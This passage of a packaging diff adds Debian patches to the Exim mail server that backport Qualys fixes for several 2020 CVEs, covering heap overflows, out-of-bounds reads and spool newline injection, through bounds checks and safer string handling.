+- uschar *dhparam;
++ uschar * dhparam;
+ /* these are cached from first expand */
+- uschar *server_cipher_list;
++ uschar * server_cipher_list;
+ /* only passed down to tls_error: */
+- host_item *host;
++ host_item * host;
+ const uschar * verify_cert_hostnames;
+ #ifndef DISABLE_EVENT
+- uschar * event_action;
++ uschar * event_action;
+ #endif
+ } tls_ext_ctx_cb;
+
+ /* should figure out a cleanup of API to handle state preserved per
+ implementation, for various reasons, which can be void * in the APIs.
+@@ -2359,13 +2359,13 @@ if ((rc = setup_certs(ctx, ob->tls_verif
+
+ if (verify_check_given_host(CUSS &ob->tls_verify_cert_hostnames, host) == OK)
+ {
+ cbinfo->verify_cert_hostnames =
+ #ifdef SUPPORT_I18N
+- string_domain_utf8_to_alabel(host->name, NULL);
++ string_domain_utf8_to_alabel(host->certname, NULL);
+ #else
+- host->name;
++ host->certname;
+ #endif
+ DEBUG(D_tls) debug_printf("Cert hostname to check: \"%s\"\n",
+ cbinfo->verify_cert_hostnames);
+ }
+ return OK;
diff --git a/debian/patches/84_01-CVE-2020-28025-Heap-out-of-bounds-read-in-pdkim_fini.patch b/debian/patches/84_01-CVE-2020-28025-Heap-out-of-bounds-read-in-pdkim_fini.patch
new file mode 100644
index 0000000..7c79753
--- /dev/null
+++ b/debian/patches/84_01-CVE-2020-28025-Heap-out-of-bounds-read-in-pdkim_fini.patch
@@ -0,0 +1,44 @@
+From 9db12ffa00aa1dcbe60eec543307f405e35cfe15 Mon Sep 17 00:00:00 2001
+From: Qualys Security Advisory <qsa@qualys.com>
+Date: Sun, 21 Feb 2021 18:54:16 -0800
+Subject: [PATCH 01/29] CVE-2020-28025: Heap out-of-bounds read in
+ pdkim_finish_bodyhash()
+
+---
+ src/pdkim/pdkim.c | 6 +++---
+ 1 file changed, 3 insertions(+), 3 deletions(-)
+
+diff --git a/src/pdkim/pdkim.c b/src/pdkim/pdkim.c
+index 594af03c5..e203311da 100644
+--- a/src/pdkim/pdkim.c
++++ b/src/pdkim/pdkim.c
+@@ -825,7 +825,7 @@ for (sig = ctx->sig; sig; sig = sig->next)
+ /* VERIFICATION --------------------------------------------------------- */
+ /* Be careful that the header sig included a bodyash */
+
+- if ( sig->bodyhash.data
++ if (sig->bodyhash.data && sig->bodyhash.len == b->bh.len
+ && memcmp(b->bh.data, sig->bodyhash.data, b->bh.len) == 0)
+ {
+ DEBUG(D_acl) debug_printf("PDKIM [%s] Body hash compared OK\n", sig->domain);
+@@ -1524,7 +1524,7 @@ for (sig = ctx->sig; sig; sig = sig->next)
+ do this hash incrementally.
+ We don't need the hash we're calculating here for the GnuTLS and OpenSSL
+ cases of RSA signing, since those library routines can do hash-and-sign.
+-
++
+ Some time in the future we could easily avoid doing the hash here for those
+ cases (which will be common for a long while. We could also change from
+ the current copy-all-the-headers-into-one-block, then call the hash-and-sign
+@@ -1779,7 +1779,7 @@ for (sig = ctx->sig; sig; sig = sig->next)
+ );
+ goto NEXT_VERIFY;
+ }
+-
++
+ /* Make sure sig uses supported DKIM version (only v1) */
+ if (sig->version != 1)
+ {
+--
+2.30.2
+
diff --git a/debian/patches/84_02-CVE-2020-28018-Use-after-free-in-tls-openssl.c.patch b/debian/patches/84_02-CVE-2020-28018-Use-after-free-in-tls-openssl.c.patch
new file mode 100644
index 0000000..3a488b3
--- /dev/null
+++ b/debian/patches/84_02-CVE-2020-28018-Use-after-free-in-tls-openssl.c.patch
@@ -0,0 +1,33 @@
+From 86cafc842feb6223476568921c2d3e06c706cc31 Mon Sep 17 00:00:00 2001
+From: Qualys Security Advisory <qsa@qualys.com>
+Date: Sun, 21 Feb 2021 19:05:56 -0800
+Subject: [PATCH 02/29] CVE-2020-28018: Use-after-free in tls-openssl.c
+
+---
+ src/tls-openssl.c | 4 ----
+ 1 file changed, 4 deletions(-)
+
+diff --git a/src/tls-openssl.c b/src/tls-openssl.c
+index e751edd9a..2a8d4cabd 100644
+--- a/src/tls-openssl.c
++++ b/src/tls-openssl.c
+@@ -2910,16 +2910,12 @@ a store reset there, so use POOL_PERM. */
+
+ if (!ct_ctx && (more || corked))
+ {
+-#ifdef EXPERIMENTAL_PIPE_CONNECT
+ int save_pool = store_pool;
+ store_pool = POOL_PERM;
+-#endif
+
+ corked = string_catn(corked, buff, len);
+
+-#ifdef EXPERIMENTAL_PIPE_CONNECT
+ store_pool = save_pool;
+-#endif
+
+ if (more)
+ {
+--
+2.30.2
+
diff --git a/debian/patches/84_03-CVE-2020-28023-Out-of-bounds-read-in-smtp_setup_msg.patch b/debian/patches/84_03-CVE-2020-28023-Out-of-bounds-read-in-smtp_setup_msg.patch
new file mode 100644
index 0000000..28af9cc
--- /dev/null
+++ b/debian/patches/84_03-CVE-2020-28023-Out-of-bounds-read-in-smtp_setup_msg.patch
@@ -0,0 +1,58 @@
+From 4cfadd994e5ab6e57cc43164d1e3198bb4faedbb Mon Sep 17 00:00:00 2001
+From: Qualys Security Advisory <qsa@qualys.com>
+Date: Sun, 21 Feb 2021 19:11:55 -0800
+Subject: [PATCH 03/29] CVE-2020-28023: Out-of-bounds read in smtp_setup_msg()
+
+Extracted from Jeremy Harris's commit afaf5a50.
+---
+ src/acl.c | 3 ++-
+ src/macros.h | 1 +
+ src/smtp_in.c | 4 ++--
+ 3 files changed, 5 insertions(+), 3 deletions(-)
+
+diff --git a/src/acl.c b/src/acl.c
+index f3b860e4a..49f6fe79c 100644
+--- a/src/acl.c
++++ b/src/acl.c
+@@ -4464,7 +4464,8 @@ switch (where)
+ /* Drop cutthrough conns, and drop heldopen verify conns if
+ the previous was not DATA */
+ {
+- uschar prev = smtp_connection_had[smtp_ch_index-2];
++ uschar prev =
++ smtp_connection_had[SMTP_HBUFF_PREV(SMTP_HBUFF_PREV(smtp_ch_index))];
+ BOOL dropverify = !(prev == SCH_DATA || prev == SCH_BDAT);
+
+ cancel_cutthrough_connection(dropverify, US"quit or conndrop");
+diff --git a/src/macros.h b/src/macros.h
+index 0f93543ce..b3896b736 100644
+--- a/src/macros.h
++++ b/src/macros.h
+@@ -154,6 +154,7 @@ enough to hold all the headers from a normal kind of message. */
+ /* The size of the circular buffer that remembers recent SMTP commands */
+
+ #define SMTP_HBUFF_SIZE 20
++#define SMTP_HBUFF_PREV(n) ((n) ? (n)-1 : SMTP_HBUFF_SIZE-1)
+
+ /* The initial size of a big buffer for use in various places. It gets put
+ into big_buffer_size and in some circumstances increased. It should be at least
+diff --git a/src/smtp_in.c b/src/smtp_in.c
+index 86f87eae1..4265d77b7 100644
+--- a/src/smtp_in.c
++++ b/src/smtp_in.c
+@@ -5322,10 +5322,10 @@ while (done <= 0)
+ }
+ if (f.smtp_in_pipelining_advertised && last_was_rcpt)
+ smtp_printf("503 Valid RCPT command must precede %s\r\n", FALSE,
+- smtp_names[smtp_connection_had[smtp_ch_index-1]]);
++ smtp_names[smtp_connection_had[SMTP_HBUFF_PREV(smtp_ch_index)]]);
+ else
+ done = synprot_error(L_smtp_protocol_error, 503, NULL,
+- smtp_connection_had[smtp_ch_index-1] == SCH_DATA
++ smtp_connection_had[SMTP_HBUFF_PREV(smtp_ch_index)] == SCH_DATA
+ ? US"valid RCPT command must precede DATA"
+ : US"valid RCPT command must precede BDAT");
+
+--
+2.30.2
+
diff --git a/debian/patches/84_04-CVE-2020-28010-Heap-out-of-bounds-write-in-main.patch b/debian/patches/84_04-CVE-2020-28010-Heap-out-of-bounds-write-in-main.patch
new file mode 100644
index 0000000..9e3d368
--- /dev/null
+++ b/debian/patches/84_04-CVE-2020-28010-Heap-out-of-bounds-write-in-main.patch
@@ -0,0 +1,42 @@
+From 5987d0dfe88ee6081b72857bc8085c7d2afd53a3 Mon Sep 17 00:00:00 2001
+From: Qualys Security Advisory <qsa@qualys.com>
+Date: Sun, 21 Feb 2021 19:17:32 -0800
+Subject: [PATCH 04/29] CVE-2020-28010: Heap out-of-bounds write in main()
+
+Based on Phil Pennock's commit 0f57feb4.
+---
+ src/exim.c | 11 ++++++-----
+ 1 file changed, 6 insertions(+), 5 deletions(-)
+
+diff --git a/src/exim.c b/src/exim.c
+index 83b5ef51f..a7dc48c4e 100644
+--- a/src/exim.c
++++ b/src/exim.c
+@@ -3664,6 +3664,9 @@ during readconf_main() some expansion takes place already. */
+ /* Store the initial cwd before we change directories. Can be NULL if the
+ dir has already been unlinked. */
+ initial_cwd = os_getcwd(NULL, 0);
++if (initial_cwd && strlen(CCS initial_cwd) >= BIG_BUFFER_SIZE) {
++ exim_fail("exim: initial cwd is far too long\n");
++}
+
+ /* checking:
+ -be[m] expansion test -
+@@ -3950,11 +3953,9 @@ if ( (debug_selector & D_any || LOGGING(arguments))
+ p += 13;
+ else
+ {
+- Ustrncpy(p + 4, initial_cwd, big_buffer_size-5);
+- p += 4 + Ustrlen(initial_cwd);
+- /* in case p is near the end and we don't provide enough space for
+- * string_format to be willing to write. */
+- *p = '\0';
++ p += 4;
++ snprintf(CS p, big_buffer_size - (p - big_buffer), "%s", CCS initial_cwd);
++ p += strlen(CCS p);
+ }
+
+ (void)string_format(p, big_buffer_size - (p - big_buffer), " %d args:", argc);
+--
+2.30.2
+
diff --git a/debian/patches/84_05-CVE-2020-28011-Heap-buffer-overflow-in-queue_run.patch b/debian/patches/84_05-CVE-2020-28011-Heap-buffer-overflow-in-queue_run.patch
new file mode 100644
index 0000000..086644b
--- /dev/null
+++ b/debian/patches/84_05-CVE-2020-28011-Heap-buffer-overflow-in-queue_run.patch
@@ -0,0 +1,39 @@
+From 9970ba4d8b9477d98c722221b6b7b97f03104b9f Mon Sep 17 00:00:00 2001
+From: Qualys Security Advisory <qsa@qualys.com>
+Date: Sun, 21 Feb 2021 19:22:33 -0800
+Subject: [PATCH 05/29] CVE-2020-28011: Heap buffer overflow in queue_run()
+
+---
+ src/queue.c | 14 ++++++++++----
+ 1 file changed, 10 insertions(+), 4 deletions(-)
+
+diff --git a/src/queue.c b/src/queue.c
+index 92109ef92..41af5b85e 100644
+--- a/src/queue.c
++++ b/src/queue.c
+@@ -416,12 +416,18 @@ if (!recurse)
+ p += sprintf(CS p, " -q%s", extras);
+
+ if (deliver_selectstring)
+- p += sprintf(CS p, " -R%s %s", f.deliver_selectstring_regex? "r" : "",
+- deliver_selectstring);
++ {
++ snprintf(CS p, big_buffer_size - (p - big_buffer), " -R%s %s",
++ f.deliver_selectstring_regex? "r" : "", deliver_selectstring);
++ p += strlen(CCS p);
++ }
+
+ if (deliver_selectstring_sender)
+- p += sprintf(CS p, " -S%s %s", f.deliver_selectstring_sender_regex? "r" : "",
+- deliver_selectstring_sender);
++ {
++ snprintf(CS p, big_buffer_size - (p - big_buffer), " -S%s %s",
++ f.deliver_selectstring_sender_regex? "r" : "", deliver_selectstring_sender);
++ p += strlen(CCS p);
++ }
+
+ log_detail = string_copy(big_buffer);
+ if (*queue_name)
+--
+2.30.2
+
diff --git a/debian/patches/84_06-CVE-2020-28013-Heap-buffer-overflow-in-parse_fix_phr.patch b/debian/patches/84_06-CVE-2020-28013-Heap-buffer-overflow-in-parse_fix_phr.patch
new file mode 100644
index 0000000..6acdecc
--- /dev/null
+++ b/debian/patches/84_06-CVE-2020-28013-Heap-buffer-overflow-in-parse_fix_phr.patch
@@ -0,0 +1,34 @@
+From 0f6c3d3f7efb5d66dabf69c36e06912d89ff96fc Mon Sep 17 00:00:00 2001
+From: Qualys Security Advisory <qsa@qualys.com>
+Date: Sun, 21 Feb 2021 19:28:28 -0800
+Subject: [PATCH 06/29] CVE-2020-28013: Heap buffer overflow in
+ parse_fix_phrase()
+
+Based on Phil Pennock's commit 8a50c88a.
+---
+ src/parse.c | 9 ++++++---
+ 1 file changed, 6 insertions(+), 3 deletions(-)
+
+diff --git a/src/parse.c b/src/parse.c
+index 4b0efa0e1..e1e2e7358 100644
+--- a/src/parse.c
++++ b/src/parse.c
+@@ -1149,9 +1149,12 @@ while (s < end)
+ {
+ if (ss >= end) ss--;
+ *t++ = '(';
+- Ustrncpy(t, s, ss-s);
+- t += ss-s;
+- s = ss;
++ if (ss > s)
++ {
++ Ustrncpy(t, s, ss-s);
++ t += ss-s;
++ s = ss;
++ }
+ }
+ }
+
+--
+2.30.2
+
diff --git a/debian/patches/84_07-Security-Refuse-negative-and-large-store-allocations.patch b/debian/patches/84_07-Security-Refuse-negative-and-large-store-allocations.patch
new file mode 100644
index 0000000..53b4492
--- /dev/null
+++ b/debian/patches/84_07-Security-Refuse-negative-and-large-store-allocations.patch
@@ -0,0 +1,74 @@
+From 5fd6af5815401dc60e8fe4309258911aa41d3013 Mon Sep 17 00:00:00 2001
+From: Qualys Security Advisory <qsa@qualys.com>
+Date: Sun, 21 Feb 2021 19:40:21 -0800
+Subject: [PATCH 07/29] Security: Refuse negative and large store allocations
+
+Based on Phil Pennock's commits b34d3046 and e6c1606a.
+---
+ src/store.c | 29 ++++++++++++++++++++++++++++-
+ 1 file changed, 28 insertions(+), 1 deletion(-)
+
+diff --git a/src/store.c b/src/store.c
+index b52799132..a2a80f631 100644
+--- a/src/store.c
++++ b/src/store.c
+@@ -128,6 +128,12 @@ Returns: pointer to store (panic on malloc failure)
+ void *
+ store_get_3(int size, const char *filename, int linenumber)
+ {
++if (size < 0 || size > INT_MAX/2)
++ {
++ log_write(0, LOG_MAIN|LOG_PANIC_DIE,
++ "bad memory allocation requested (%d bytes)",
++ size);
++ }
+ /* Round up the size to a multiple of the alignment. Although this looks a
+ messy statement, because "alignment" is a constant expression, the compiler can
+ do a reasonable job of optimizing, especially if the value of "alignment" is a
+@@ -270,6 +276,13 @@ store_extend_3(void *ptr, int oldsize, int newsize, const char *filename,
+ int inc = newsize - oldsize;
+ int rounded_oldsize = oldsize;
+
++if (oldsize < 0 || newsize < oldsize || newsize >= INT_MAX/2)
++ {
++ log_write(0, LOG_MAIN|LOG_PANIC_DIE,
++ "bad memory extension requested (%d -> %d bytes)",
++ oldsize, newsize);
++ }
++
+ if (rounded_oldsize % alignment != 0)
+ rounded_oldsize += alignment - (rounded_oldsize % alignment);
+
+@@ -508,7 +521,16 @@ store_newblock_3(void * block, int newsize, int len,
+ const char * filename, int linenumber)
+ {
+ BOOL release_ok = store_last_get[store_pool] == block;
+-uschar * newtext = store_get(newsize);
++uschar * newtext;
++
++if (len < 0 || len > newsize)
++ {
++ log_write(0, LOG_MAIN|LOG_PANIC_DIE,
++ "bad memory extension requested (%d -> %d bytes)",
++ len, newsize);
++ }
++
++newtext = store_get(newsize);
+
+ memcpy(newtext, block, len);
+ if (release_ok) store_release_3(block, filename, linenumber);
+@@ -539,6 +561,11 @@ store_malloc_3(int size, const char *filename, int linenumber)
+ {
+ void *yield;
+
++if (size < 0 || size >= INT_MAX/2)
++ log_write(0, LOG_MAIN|LOG_PANIC_DIE,
++ "bad memory allocation requested (%d bytes)",
++ size);
++
+ if (size < 16) size = 16;
+
+ if (!(yield = malloc((size_t)size)))
+--
+2.30.2
+
diff --git a/debian/patches/84_08-CVE-2020-28017-Integer-overflow-in-receive_add_recip.patch b/debian/patches/84_08-CVE-2020-28017-Integer-overflow-in-receive_add_recip.patch
new file mode 100644
index 0000000..d621b70
--- /dev/null
+++ b/debian/patches/84_08-CVE-2020-28017-Integer-overflow-in-receive_add_recip.patch
@@ -0,0 +1,49 @@
+From b5052a65ed1ba81269ac5a03b4505aa9d55ce084 Mon Sep 17 00:00:00 2001
+From: Qualys Security Advisory <qsa@qualys.com>
+Date: Sun, 21 Feb 2021 19:46:55 -0800
+Subject: [PATCH 08/29] CVE-2020-28017: Integer overflow in
+ receive_add_recipient()
+
+Based on Phil Pennock's commit e3b441f7.
+---
+ src/receive.c | 10 ++++++++--
+ 1 file changed, 8 insertions(+), 2 deletions(-)
+
+diff --git a/src/receive.c b/src/receive.c
+index a0467e8c8..227ace084 100644
+--- a/src/receive.c
++++ b/src/receive.c
+@@ -488,6 +488,12 @@ if (recipients_count >= recipients_list_max)
+ {
+ recipient_item *oldlist = recipients_list;
+ int oldmax = recipients_list_max;
++
++ const int safe_recipients_limit = INT_MAX / 2 / sizeof(recipient_item);
++ if (recipients_list_max < 0 || recipients_list_max >= safe_recipients_limit)
++ {
++ log_write(0, LOG_MAIN|LOG_PANIC_DIE, "Too many recipients: %d", recipients_list_max);
++ }
+ recipients_list_max = recipients_list_max ? 2*recipients_list_max : 50;
+ recipients_list = store_get(recipients_list_max * sizeof(recipient_item));
+ if (oldlist != NULL)
+@@ -4070,7 +4076,7 @@ if (message_logs && !blackholed_by)
+ {
+ int fd;
+ uschar * m_name = spool_fname(US"msglog", message_subdir, message_id, US"");
+-
++
+ if ( (fd = Uopen(m_name, O_WRONLY|O_APPEND|O_CREAT, SPOOL_MODE)) < 0
+ && errno == ENOENT
+ )
+@@ -4229,7 +4235,7 @@ if(!smtp_reply)
+ if (f.deliver_freeze) log_write(0, LOG_MAIN, "frozen by %s", frozen_by);
+ if (f.queue_only_policy) log_write(L_delay_delivery, LOG_MAIN,
+ "no immediate delivery: queued%s%s by %s",
+- *queue_name ? " in " : "", *queue_name ? CS queue_name : "",
++ *queue_name ? " in " : "", *queue_name ? CS queue_name : "",
+ queued_by);
+ }
+ f.receive_call_bombout = FALSE;
+--
+2.30.2
+
diff --git a/debian/patches/84_09-CVE-2020-28022-Heap-out-of-bounds-read-and-write-in-.patch b/debian/patches/84_09-CVE-2020-28022-Heap-out-of-bounds-read-and-write-in-.patch
new file mode 100644
index 0000000..1ace416
--- /dev/null
+++ b/debian/patches/84_09-CVE-2020-28022-Heap-out-of-bounds-read-and-write-in-.patch
@@ -0,0 +1,61 @@
+From f46455c848def70d686d7b164df75b27f8dae04d Mon Sep 17 00:00:00 2001
+From: Qualys Security Advisory <qsa@qualys.com>
+Date: Sun, 21 Feb 2021 19:53:43 -0800
+Subject: [PATCH 09/29] CVE-2020-28022: Heap out-of-bounds read and write in
+ extract_option()
+
+Based on Phil Pennock's commit c5017adf.
+---
+ src/smtp_in.c | 20 +++++++++++++-------
+ 1 file changed, 13 insertions(+), 7 deletions(-)
+
+diff --git a/src/smtp_in.c b/src/smtp_in.c
+index 4265d77b7..16c3a3e33 100644
+--- a/src/smtp_in.c
++++ b/src/smtp_in.c
+@@ -1984,29 +1984,35 @@ static BOOL
+ extract_option(uschar **name, uschar **value)
+ {
+ uschar *n;
+-uschar *v = smtp_cmd_data + Ustrlen(smtp_cmd_data) - 1;
+-while (isspace(*v)) v--;
++uschar *v;
++if (Ustrlen(smtp_cmd_data) <= 0) return FALSE;
++v = smtp_cmd_data + Ustrlen(smtp_cmd_data) - 1;
++while (v > smtp_cmd_data && isspace(*v)) v--;
+ v[1] = 0;
++
+ while (v > smtp_cmd_data && *v != '=' && !isspace(*v))
+ {
+ /* Take care to not stop at a space embedded in a quoted local-part */
+-
+- if (*v == '"') do v--; while (*v != '"' && v > smtp_cmd_data+1);
++ if (*v == '"')
++ {
++ do v--; while (v > smtp_cmd_data && *v != '"');
++ if (v <= smtp_cmd_data) return FALSE;
++ }
+ v--;
+ }
++if (v <= smtp_cmd_data) return FALSE;
+
+ n = v;
+ if (*v == '=')
+ {
+- while(isalpha(n[-1])) n--;
++ while (n > smtp_cmd_data && isalpha(n[-1])) n--;
+ /* RFC says SP, but TAB seen in wild and other major MTAs accept it */
+- if (!isspace(n[-1])) return FALSE;
++ if (n <= smtp_cmd_data || !isspace(n[-1])) return FALSE;
+ n[-1] = 0;
+ }
+ else
+ {
+ n++;
+- if (v == smtp_cmd_data) return FALSE;
+ }
+ *v++ = 0;
+ *name = n;
+--
+2.30.2
+
diff --git a/debian/patches/84_10-CVE-2020-28026-Line-truncation-and-injection-in-spoo.patch b/debian/patches/84_10-CVE-2020-28026-Line-truncation-and-injection-in-spoo.patch
new file mode 100644
index 0000000..3864de2
--- /dev/null
+++ b/debian/patches/84_10-CVE-2020-28026-Line-truncation-and-injection-in-spoo.patch
@@ -0,0 +1,102 @@
+From 327f647a849c3974e7107b5386421b0058c15b29 Mon Sep 17 00:00:00 2001
+From: Qualys Security Advisory <qsa@qualys.com>
+Date: Sun, 21 Feb 2021 21:17:31 -0800
+Subject: [PATCH 10/29] CVE-2020-28026: Line truncation and injection in
+ spool_read_header()
+
+This also fixes:
+
+2/ In src/spool_in.c:
+
+ 462 while ( (len = Ustrlen(big_buffer)) == big_buffer_size-1
+ 463 && big_buffer[len-1] != '\n'
+ 464 )
+ 465 { /* buffer not big enough for line; certs make this possible */
+ 466 uschar * buf;
+ 467 if (big_buffer_size >= BIG_BUFFER_SIZE*4) goto SPOOL_READ_ERROR;
+ 468 buf = store_get_perm(big_buffer_size *= 2, FALSE);
+ 469 memcpy(buf, big_buffer, --len);
+
+The --len in memcpy() chops off a useful byte (we know for sure that
+big_buffer[len-1] is not a '\n' because we entered the while loop).
+---
+ src/spool_in.c | 48 +++++++++++++++++++++++++++++++---------------
+ 1 file changed, 33 insertions(+), 15 deletions(-)
+
+diff --git a/src/spool_in.c b/src/spool_in.c
+index 2d349778c..dbbcf23ee 100644
+--- a/src/spool_in.c
++++ b/src/spool_in.c
+@@ -307,6 +307,36 @@ dsn_ret = 0;
+ dsn_envid = NULL;
+ }
+
++static void *
++fgets_big_buffer(FILE *fp)
++{
++int len = 0;
++
++big_buffer[0] = 0;
++if (Ufgets(big_buffer, big_buffer_size, fp) == NULL) return NULL;
++
++while ((len = Ustrlen(big_buffer)) == big_buffer_size-1
++ && big_buffer[len-1] != '\n')
++ {
++ uschar *newbuffer;
++ int newsize;
++
++ if (big_buffer_size >= BIG_BUFFER_SIZE * 4) return NULL;
++ newsize = big_buffer_size * 2;
++ newbuffer = store_get_perm(newsize);
++ memcpy(newbuffer, big_buffer, len);
++
++ big_buffer = newbuffer;
++ big_buffer_size = newsize;
++ if (Ufgets(big_buffer + len, big_buffer_size - len, fp) == NULL) return NULL;
++ }
++
++if (len <= 0 || big_buffer[len-1] != '\n') return NULL;
++return big_buffer;
++}
++
++
++
+
+ /*************************************************
+ * Read spool header file *
+@@ -450,21 +480,9 @@ p = big_buffer + 2;
+ for (;;)
+ {
+ int len;
+- if (Ufgets(big_buffer, big_buffer_size, fp) == NULL) goto SPOOL_READ_ERROR;
++ if (fgets_big_buffer(fp) == NULL) goto SPOOL_READ_ERROR;
+ if (big_buffer[0] != '-') break;
+- while ( (len = Ustrlen(big_buffer)) == big_buffer_size-1
+- && big_buffer[len-1] != '\n'
+- )
+- { /* buffer not big enough for line; certs make this possible */
+- uschar * buf;
+- if (big_buffer_size >= BIG_BUFFER_SIZE*4) goto SPOOL_READ_ERROR;
+- buf = store_get_perm(big_buffer_size *= 2);
+- memcpy(buf, big_buffer, --len);
+- big_buffer = buf;
+- if (Ufgets(big_buffer+len, big_buffer_size-len, fp) == NULL)
+- goto SPOOL_READ_ERROR;
+- }
+- big_buffer[len-1] = 0;
++ big_buffer[Ustrlen(big_buffer)-1] = 0;
+
+ switch(big_buffer[1])
+ {
+@@ -724,7 +742,7 @@ DEBUG(D_deliver)
+ buffer. It contains the count of recipients which follow on separate lines.
+ Apply an arbitrary sanity check.*/
+
+-if (Ufgets(big_buffer, big_buffer_size, fp) == NULL) goto SPOOL_READ_ERROR;
++if (fgets_big_buffer(fp) == NULL) goto SPOOL_READ_ERROR;
+ if (sscanf(CS big_buffer, "%d", &rcount) != 1 || rcount > 16384)
+ goto SPOOL_FORMAT_ERROR;
+
+--
+2.30.2
+
diff --git a/debian/patches/84_11-CVE-2020-28015-28021-New-line-injection-into-spool-h.patch b/debian/patches/84_11-CVE-2020-28015-28021-New-line-injection-into-spool-h.patch
new file mode 100644
index 0000000..1d2cc7e
--- /dev/null
+++ b/debian/patches/84_11-CVE-2020-28015-28021-New-line-injection-into-spool-h.patch
@@ -0,0 +1,69 @@
+From ac8f49ef90e768a63ed3dca50e2b2c6e8d333bfd Mon Sep 17 00:00:00 2001
+From: Qualys Security Advisory <qsa@qualys.com>
+Date: Sun, 21 Feb 2021 21:26:53 -0800
+Subject: [PATCH 11/29] CVE-2020-28015+28021: New-line injection into spool
+ header file
+
+---
+ src/spool_out.c | 21 +++++++++++++++++----
+ 1 file changed, 17 insertions(+), 4 deletions(-)
+
+diff --git a/src/spool_out.c b/src/spool_out.c
+index d55895202..9394393d5 100644
+--- a/src/spool_out.c
++++ b/src/spool_out.c
+@@ -108,6 +108,18 @@ return fd;
+ * Write the header spool file *
+ *************************************************/
+
++static const uschar *
++zap_newlines(const uschar *s)
++{
++uschar *z, *p;
++
++if (Ustrchr(s, '\n') == NULL) return s;
++
++p = z = string_copy(s);
++while ((p = Ustrchr(p, '\n')) != NULL) *p++ = ' ';
++return z;
++}
++
+ /* Returns the size of the file for success; zero for failure. The file is
+ written under a temporary name, and then renamed. It's done this way so that it
+ works with re-writing the file on message deferral as well as for the initial
+@@ -210,7 +222,7 @@ if (body_zerocount > 0) fprintf(fp, "-body_zerocount %d\n", body_zerocount);
+ if (authenticated_id)
+ fprintf(fp, "-auth_id %s\n", authenticated_id);
+ if (authenticated_sender)
+- fprintf(fp, "-auth_sender %s\n", authenticated_sender);
++ fprintf(fp, "-auth_sender %s\n", zap_newlines(authenticated_sender));
+
+ if (f.allow_unqualified_recipient) fprintf(fp, "-allow_unqualified_recipient\n");
+ if (f.allow_unqualified_sender) fprintf(fp, "-allow_unqualified_sender\n");
+@@ -283,19 +295,20 @@ fprintf(fp, "%d\n", recipients_count);
+ for (i = 0; i < recipients_count; i++)
+ {
+ recipient_item *r = recipients_list + i;
++ const uschar *address = zap_newlines(r->address);
+
+ DEBUG(D_deliver) debug_printf("DSN: Flags :%d\n", r->dsn_flags);
+
+ if (r->pno < 0 && r->errors_to == NULL && r->dsn_flags == 0)
+- fprintf(fp, "%s\n", r->address);
++ fprintf(fp, "%s\n", address);
+ else
+ {
+- uschar * errors_to = r->errors_to ? r->errors_to : US"";
++ const uschar * errors_to = r->errors_to ? zap_newlines(r->errors_to) : US"";
+ /* for DSN SUPPORT extend exim 4 spool in a compatible way by
+ adding new values upfront and add flag 0x02 */
+ uschar * orcpt = r->orcpt ? r->orcpt : US"";
+
+- fprintf(fp, "%s %s %d,%d %s %d,%d#3\n", r->address, orcpt, Ustrlen(orcpt),
++ fprintf(fp, "%s %s %d,%d %s %d,%d#3\n", address, orcpt, Ustrlen(orcpt),
+ r->dsn_flags, errors_to, Ustrlen(errors_to), r->pno);
+ }
+
+--
+2.30.2
+
diff --git a/debian/patches/84_12-CVE-2020-28009-Integer-overflow-in-get_stdinput.patch b/debian/patches/84_12-CVE-2020-28009-Integer-overflow-in-get_stdinput.patch
new file mode 100644
index 0000000..acde64a
--- /dev/null
+++ b/debian/patches/84_12-CVE-2020-28009-Integer-overflow-in-get_stdinput.patch
@@ -0,0 +1,61 @@
+From 2cb94a53eb9186bd405120543301e1240b895d86 Mon Sep 17 00:00:00 2001
+From: Qualys Security Advisory <qsa@qualys.com>
+Date: Sun, 21 Feb 2021 21:45:19 -0800
+Subject: [PATCH 12/29] CVE-2020-28009: Integer overflow in get_stdinput()
+
+---
+ src/string.c | 23 ++++++++++++++++++++++-
+ 1 file changed, 22 insertions(+), 1 deletion(-)
+
+diff --git a/src/string.c b/src/string.c
+index 3445f8a42..2cdbe7c75 100644
+--- a/src/string.c
++++ b/src/string.c
+@@ -1147,6 +1147,18 @@ To try to keep things reasonable, we use increments whose size depends on the
+ existing length of the string. */
+
+ unsigned inc = oldsize < 4096 ? 127 : 1023;
++
++if (g->ptr < 0 || g->ptr > g->size || g->size >= INT_MAX/2)
++ log_write(0, LOG_MAIN|LOG_PANIC_DIE,
++ "internal error in gstring_grow (ptr %d size %d)", g->ptr, g->size);
++
++if (count <= 0) return;
++
++if (count >= INT_MAX/2 - g->ptr)
++ log_write(0, LOG_MAIN|LOG_PANIC_DIE,
++ "internal error in gstring_grow (ptr %d count %d)", g->ptr, count);
++
++
+ g->size = ((p + count + inc) & ~inc) + 1;
+
+ /* Try to extend an existing allocation. If the result of calling
+@@ -1194,6 +1206,10 @@ string_catn(gstring * g, const uschar *s, int count)
+ {
+ int p;
+
++if (count < 0)
++ log_write(0, LOG_MAIN|LOG_PANIC_DIE,
++ "internal error in string_catn (count %d)", count);
++
+ if (!g)
+ {
+ unsigned inc = count < 4096 ? 127 : 1023;
+@@ -1201,8 +1217,13 @@ if (!g)
+ g = string_get(size);
+ }
+
++if (g->ptr < 0 || g->ptr > g->size)
++ log_write(0, LOG_MAIN|LOG_PANIC_DIE,
++ "internal error in string_catn (ptr %d size %d)", g->ptr, g->size);
++
+ p = g->ptr;
+-if (p + count >= g->size)
++
++if (count >= g->size - p)
+ gstring_grow(g, p, count);
+
+ /* Because we always specify the exact number of characters to copy, we can
+--
+2.30.2
+
diff --git a/debian/patches/84_13-CVE-2020-28024-Heap-buffer-underflow-in-smtp_ungetc.patch b/debian/patches/84_13-CVE-2020-28024-Heap-buffer-underflow-in-smtp_ungetc.patch
new file mode 100644
index 0000000..4545ff3
--- /dev/null
+++ b/debian/patches/84_13-CVE-2020-28024-Heap-buffer-underflow-in-smtp_ungetc.patch
@@ -0,0 +1,41 @@
+From 7ea481a6471cdad3a674b767f808357b3c7fc721 Mon Sep 17 00:00:00 2001
+From: Qualys Security Advisory <qsa@qualys.com>
+Date: Sun, 21 Feb 2021 21:49:30 -0800
+Subject: [PATCH 13/29] CVE-2020-28024: Heap buffer underflow in smtp_ungetc()
+
+---
+ src/smtp_in.c | 3 +++
+ src/tls.c | 3 +++
+ 2 files changed, 6 insertions(+)
+
+diff --git a/src/smtp_in.c b/src/smtp_in.c
+index 16c3a3e33..bdcfde65f 100644
+--- a/src/smtp_in.c
++++ b/src/smtp_in.c
+@@ -805,6 +805,9 @@ Returns: the character
+ int
+ smtp_ungetc(int ch)
+ {
++if (smtp_inptr <= smtp_inbuffer)
